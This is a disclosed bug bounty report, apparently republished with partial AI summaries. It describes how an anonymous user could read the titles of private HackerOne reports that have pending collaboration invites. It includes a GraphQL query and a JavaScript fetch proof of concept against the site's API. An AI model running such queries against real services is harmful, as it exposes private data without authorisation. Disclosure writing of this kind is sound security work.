View Titles of Private Reports with pending email invitation
A private report with a pending email invitation could have its title read by an unauthenticated user through a GraphQL query. An attacker could learn the titles of possibly unfixed private reports.
- Disclosed after 5 days
Summary:
If a private report has a pending email invitation for collaboration, an anonymous user can see the title of the report. This only works for anonymous users, and the collaboration invitation must be through Manage Collaborators invitation panel.
Description:
Steps To Reproduce
- As victim:
In a report to a bug bounty program, add a collaborator, using any email, such as: ██████████ Save the integer ID of the report.
- In a new, anonymous/unauthenticated/logged-out session:
Send GraphQL request, replacing PRIVATE_REPORT_ID integer:
{
report(id:IPRIVATE_REPORT_ID){
title
}
}
OR run JS implementation: By visiting hackerone.com/hacktivity as anonymous:
const csrf_token = document.getElementsByName("csrf-token")[0].getAttribute("content")
const REPORT_ID = PRIVATE_REPORT_ID // integer
var resp = await(await fetch("https://hackerone.com/graphql", {
"headers": {
"accept": "*/*",
"content-type": "application/json",
"x-csrf-token": csrf_token,
},
"body": JSON.stringify({
"operationName": "HacktivitySearchQuery",
"variables": {
"reportId": REPORT_ID
},
"query": `query HacktivitySearchQuery($reportId: Int!) {
report(id: $reportId){
id
url
title
}
}
`
}),
"method": "POST",
"mode": "cors",
"credentials": "include"
})).json()
console.log(resp.data.report)
The title of the report is the response, confirming the vulnerability.
Impact
Can read titles of possibly unfixed reports. This can be leveraged against the program, depending on the specificity of the title in the report.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Impact
An anonymous user could read the titles of possibly unfixed private reports, which may reveal the subject of the bug.
What the attacker needed
Private report with a pending email invitation; attacker knows the integer report ID; no account needed
How it was found
- As the victim, add a collaborator to a private report using any email and note the report's integer ID.
- In a new anonymous session, send a GraphQL request for that report ID asking for the title.
- Observe the report title in the response.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A private report is meant to be visible only to those involved. Here, a logged-out visitor could ask the site's data API for a report by its number and get back the title when there is a pending email invitation. The title alone can still leak what the bug is about.
What is Access control?
A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.